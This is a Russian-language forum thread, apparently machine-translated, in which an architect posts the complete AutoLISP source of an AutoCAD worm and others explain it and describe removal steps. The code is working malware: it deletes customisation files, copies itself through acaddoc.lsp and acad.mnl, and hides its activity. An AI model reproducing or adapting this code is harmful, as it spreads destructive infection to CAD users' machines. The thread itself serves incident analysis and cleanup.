Отладка того, что делает этот LISP вирус

Моя фирма попала под вирус AutoCAD, который удаляет и заменяет наш acaddoc.lsp с помощью приведенной ниже процедуры.

Я архитектор и не совсем уверен, что это делает с помощью повторяющихся "находок" и "удалений".

Вопросы

Что это за замена файлов (в настоящее время ищет acadapq)?
Кто пишет вирус для AutoCAD?!?!

Кто-нибудь видел это раньше? форумы САПР не очень помогают.

(setq wold_cmd (getvar "cmdecho"))
(setvar "cmdecho" 0)
(setq bb 2)
(setq dpath (getvar "dwgprefix"))
(setq wpath (getvar "menuname"))
(setq wpath (substr wpath 1 (- (strlen wpath) 4)))

(setq n 0)
(while (< n 1)
  (if (findfile "acad.fas")
      (if (vl-file-delete (findfile "acad.fas"))
          (setq n 0))
      (setq n 2)))

(setq n 0)
(while (< n 1)
  (if (findfile "lcm.fas")
      (if (vl-file-delete (findfile "lcm.fas"))
          (setq n 0))
      (setq n 2)))

(setq n 0)
(while (< n 1)
  (if (findfile "acad.lsp")
      (if (vl-file-delete (findfile "acad.lsp"))
          (setq n 0))
      (setq n 2)))

(defun wwriteapp ()
  (if (setq wwjm1 (open wnewacad "w"))
      (progn
        (setq wwjm (open woldacad "r"))
        (while (setq wwz (read-line wwjm))
          (write-line wwz wwjm1))
        (close wwjm)
        (close wwjm1))))

(setq lbz 0)
(setq wwjqm (strcat dpath "acaddoc.lsp"))
(if (setq wwjm (open wwjqm "r"))
    (progn
      (repeat 3 (read-line wwjm))
      (setq wz (read-line wwjm))
      (setq ab (atoi (substr wz 4 1)))
      (close wwjm)
      (if (> ab bb)
          (setq lbz 1))))

(setq wwjqm (strcat wpath "acad.mnl"))

(if (setq wwjm (open wwjqm "r"))
    (progn
      (repeat 3 (read-line wwjm))
      (setq wz (read-line wwjm))
      (setq nb (atoi (substr wz 4 1)))
      (close wwjm)
      (if (< nb bb)
          (setq lbz 1)))
    (setq lbz 1))
(if (= lbz 1)
    (progn
      (setq woldacad (strcat dpath "acaddoc.lsp"))
      (setq wnewacad (strcat wpath "acad.mnl"))
      (wwriteapp)))
(if (and (/= (substr dpath 1 1) (chr 67))
         (/= (substr dpath 1 1) (chr 68))
         (/= (substr dpath 1 1) (chr 69))
         (/= (substr dpath 1 1) (chr 70)))
    (progn
      (setq woldacad (strcat wpath "acad.mnl"))
      (setq wnewacad (strcat dpath "acaddoc.lsp"))
      (wwriteapp))
    (vl-file-delete (strcat dpath "acaddoc.lsp")))
;load "acadapq")
(setvar "cmdecho" wold_cmd)

Ответ 1

Он выполняет путь к файлу поддержки, обходит, удаляет и заменяет общие файлы настройки AutoCAD. ( "acad.fas", "acad.lsp", "acaddoc.lsp" ) Я не знаю, что такое "lcm.fas". Является ли он частью вертикального продукта AutoCAD, то есть механического или архитектурного рабочего стола AutoCAD?

Зацикливание по существу "пока я продолжаю поиск на пути поддержки, удаляю его".

Насколько я знаю, AutoCAD не имеет защиты от этого. (Может быть какая-то система acad system var, которая останавливает выполнение этих файлов).

Строки "cmdecho" сохраняют и восстанавливают системную переменную, которая позволяет/подавляет эхо команд. Выключает его во время работы (поэтому вы не замечаете) восстанавливает исходную настройку.

Вежливый вирус:\

Когда AutoCAD запускается, он запускает первый "acad.fas" и первый "acad.lsp", который находит на нем путь поддержки. Каждый раз, когда AutoCAD загружает новый .dwg, он выполняет "acaddoc.lsp".

Ответ 2

Как следуйте этим шагам, чтобы избавиться от этого червя:

вручную Скопируйте прикрепленную процедуру на свой компьютер: acaddocfix_1.6.lsp
Загрузите файл lisp с помощью команды APPLOAD
Файл lisp будет запускаться автоматически, и он очистит все сущности червя в ваших папках поддержки.

Пока это другой способ, мы можем сделать это как пакетный файл, добавив его, как только любой пользователь запустит свой ПК, когда я проверю его перед тем, как

Автозапуск Запустите антивирус или очиститель, чтобы избавиться от файлов "acaddoc.lsp". Обычно чистая процедура устанавливает в вашем файле acad20XXdoc.lsp простую процедуру, которая автоматически очищает эти файлы, но я рекомендую сначала очистить все вирусы с помощью антивируса. Вы также можете запустить файл -acaddoc.bat dos batch для очистки всех ваших дисков вручную. Запустите этот пакет один раз, и он удалит все файлы acaddoc.lsp в вашей системе.

ПРИМЕЧАНИЕ. Если какой-либо из зараженных файлов в папках поддержки Autocad READONLY, чище не сможет очистить эти файлы.

любезно см. http://metinsaylan.com/how-to-clean-acaddoc-lsp-virus-from-your-pc/

Ответ 3

Похоже, что файл lisp создается только тогда, когда файлы открываются в сети, локальные копии, похоже, не имеют этой проблемы. добавьте del/s acaddoc.lsp и del/s acad.lsp ко всем сценариям входа в систему и запустите это в течение недели или около того, и он должен избавиться от всех файлов acaddoc.lsp и acad.lsp, которые купят вирус в... Убедитесь, что вы фактически не используете ни один из этих файлов для своей собственной цели, но перед запуском команды delete